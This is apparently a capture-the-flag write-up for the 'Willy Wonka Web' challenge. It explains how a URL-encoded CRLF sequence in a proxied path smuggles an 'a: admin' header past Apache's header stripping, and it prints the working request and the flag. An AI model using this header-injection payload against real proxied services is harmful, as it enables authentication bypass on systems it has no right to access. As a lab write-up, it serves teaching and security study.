Willy Wonka Web

Problem

Challenge Description

From the get go, we are given the example source code to look at and the ability to optionally host it ourselves.

We will focus on these 2 files:

1. Apache Config

LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so

<VirtualHost *:80>

    ServerName localhost
    DocumentRoot /usr/local/apache2/htdocs

    RewriteEngine on
    RewriteRule "^/name/(.*)" "http://backend:3000/?name=$1" [P]
    ProxyPassReverse "/name/" "http://backend:3000/"

    RequestHeader unset A
    RequestHeader unset a

</VirtualHost>

2. Node Express Code

// imports
const express = require('express');
const fs = require('fs');

// initializations
const app = express()
const FLAG = fs.readFileSync('flag.txt', { encoding: 'utf8', flag: 'r' }).trim()
const PORT = 3000

// endpoints
app.get('/', async (req, res) => {
    if (req.header('a') && req.header('a') === 'admin') {
        return res.send(FLAG);
    }
    return res.send('Hello '+req.query.name.replace("<","").replace(">","")+'!');
});

// start server
app.listen(PORT, async () => {
    console.log(`Listening on ${PORT}`)
});

Solution

In app.get('/') it’s clear we need to send a HTTP header of a: admin.

The problem is that the header being blocked if we send it normally e.g.

GET /?name=hello HTTP/2
a: admin

It gets unset by apache

RequestHeader unset A
RequestHeader unset a

If we URL encode a CRLF (Carriage Return + Line Feed) \r\n -> %0d%0a

GET /name/hello%0d%0aa:%20admin%0d%0a%0d%0a HTTP/2

Apache decodes it to:

/name/hello\r\nA: admin\r\n\r\n

Apache unsets the non-existant headers and only afterward does the header get processed and put in the right place.

GET /?name=hello HTTP/2
a: admin

And we get the flag! byuctf{i_never_liked_w1lly_wonka}

Solved

Thanks for reading!